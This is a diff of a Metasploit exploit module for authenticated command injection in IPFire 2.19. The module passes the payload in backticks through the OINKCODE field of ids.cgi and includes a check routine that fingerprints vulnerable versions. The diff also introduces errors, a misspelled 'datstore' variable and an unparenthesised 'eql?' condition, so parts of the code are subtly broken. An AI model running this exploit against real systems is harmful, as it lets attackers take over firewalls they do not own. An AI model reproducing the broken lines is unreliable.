some edits finished

Author: h00die

modules/exploits/linux/http/ipfire_oinkcode_exec.rb

@@ -44,7 +44,7 @@ def initialize(info = {})
             [ 'Automatic Target', {}]
           ],
         'DefaultTarget' => 0,
-        'DisclosureDate' => 'Jun 09 2016'
+        'DisclosureDate' => 'Jun 09 2017'
       )
     )
 
@@ -53,7 +53,7 @@ def initialize(info = {})
         OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
         OptString.new('PASSWORD', [ false, 'Password to login with', '']),
         Opt::RPORT(444)
-      ], self.class
+      ]
     )
   end
 
@@ -62,18 +62,18 @@ def check
       # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
       # after a chat with @bcoles in IRC.
       res = send_request_cgi(
-        'uri'       => '/cgi-bin/pakfire.cgi',
-        'method'    => 'GET',
+        'uri'           => '/cgi-bin/pakfire.cgi',
+        'method'        => 'GET',
         'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
       )
       fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
       fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
       /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
 
-      if version && update && version == "2.19" && update.to_i <= 110
-        Exploit::CheckCode::Appears
+      if version && update && version.eql? "2.19" && update.to_i <= 110
+        CheckCode::Appears
       else
-        Exploit::CheckCode::Safe
+        CheckCode::Safe
       end
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
@@ -87,11 +87,10 @@ def exploit
       res = send_request_cgi(
         'uri'           => '/cgi-bin/ids.cgi',
         'method'        => 'POST',
-        'ctype'         => 'application/x-www-form-urlencoded',
         'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
         'headers'       =>
           {
-            'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
+            'Referer' => "#{datstore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
           },
         'vars_post'          => {
             'ENABLE_SNORT_GREEN' => 'on',
@@ -100,13 +99,14 @@ def exploit
             'OINKCODE' => "`#{payload.encoded}`",
             'ACTION' => 'Download new ruleset',
             'ACTION2' => 'snort'
-          },
+          }
       )
 
       # success means we hang our session, and wont get back a response
       if res
-        fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
         fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
+      else
+        fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response")
       end
 
     rescue ::Rex::ConnectionError